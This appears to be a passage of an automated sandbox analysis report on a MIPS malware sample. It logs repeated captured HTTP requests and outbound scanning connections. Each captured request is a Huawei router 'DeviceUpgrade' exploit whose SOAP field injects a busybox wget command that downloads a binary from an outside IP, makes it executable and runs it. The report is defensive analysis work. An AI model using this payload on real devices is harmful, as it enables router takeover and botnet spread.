Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/belks.mips.elf (PID: 5436)

Socket: 127.0.0.1:23455

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 197.247.176.62
Source: unknown	TCP traffic detected without corresponding DNS query: 197.62.222.62
Source: unknown	TCP traffic detected without corresponding DNS query: 197.64.21.215
Source: unknown	TCP traffic detected without corresponding DNS query: 197.139.43.111
Source: unknown	TCP traffic detected without corresponding DNS query: 197.95.90.227
Source: unknown	TCP traffic detected without corresponding DNS query: 197.212.208.236
Source: unknown	TCP traffic detected without corresponding DNS query: 197.50.181.193
Source: unknown	TCP traffic detected without corresponding DNS query: 197.137.202.39
Source: unknown	TCP traffic detected without corresponding DNS query: 197.188.162.153
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.35.34
Source: unknown	TCP traffic detected without corresponding DNS query: 197.227.102.38
Source: unknown	TCP traffic detected without corresponding DNS query: 197.176.33.243
Source: unknown	TCP traffic detected without corresponding DNS query: 197.157.75.10
Source: unknown	TCP traffic detected without corresponding DNS query: 197.72.212.69
Source: unknown	TCP traffic detected without corresponding DNS query: 197.67.34.25
Source: unknown	TCP traffic detected without corresponding DNS query: 197.103.124.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.20.141.51
Source: unknown	TCP traffic detected without corresponding DNS query: 197.27.2.81
Source: unknown	TCP traffic detected without corresponding DNS query: 197.20.183.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.58.85.58
Source: unknown	TCP traffic detected without corresponding DNS query: 197.125.60.143
Source: unknown	TCP traffic detected without corresponding DNS query: 197.78.100.78
